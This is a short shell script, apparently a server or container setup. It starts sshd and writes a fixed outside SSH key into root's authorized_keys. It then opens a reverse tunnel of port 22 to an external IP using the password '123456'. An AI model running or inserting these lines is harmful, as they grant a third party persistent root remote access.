yum install openssh-server rsync -y
ssh-keygen -A
/usr/sbin/sshd
pip config set global.index-url https://mirrors.bfsu.edu.cn/pypi/web/simple
pip install l0n0lnat cmake pybind11
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPbCpUXljs6v+p/s0545II3yjXUAJG6MlUhkUdRmO0TH17rUwbLvHTFn83XCcc6V8zycrjRhuQHLqLj5ane3qoSye7NuWJuNrlup6W2z73ME9Kgr9eF8gnGhRDVFW1p8hNEy+WRbhRmfhEFFDvzLsQTcVnzOciKNIN37ib5WrMVN3VhSGW9jpzumrgZv42QiBhJqbH9/mOf+NUSePIrZbkBG/ooFkdE/Yayojc4eOFZgktREh3h3/KzHUW5Z51owrKZ/FitIjza8SmNX8w8E7oK9+oZrX+UDk1TVsWDLrk3/uTr4uupxIT6URddTFfTJICWE7+C8+3UFJG+QqGihmH aaa@a > /root/.ssh/authorized_keys
l0n0lnatclient 123.183.25.191 12000 6666 127.0.0.1 22 123456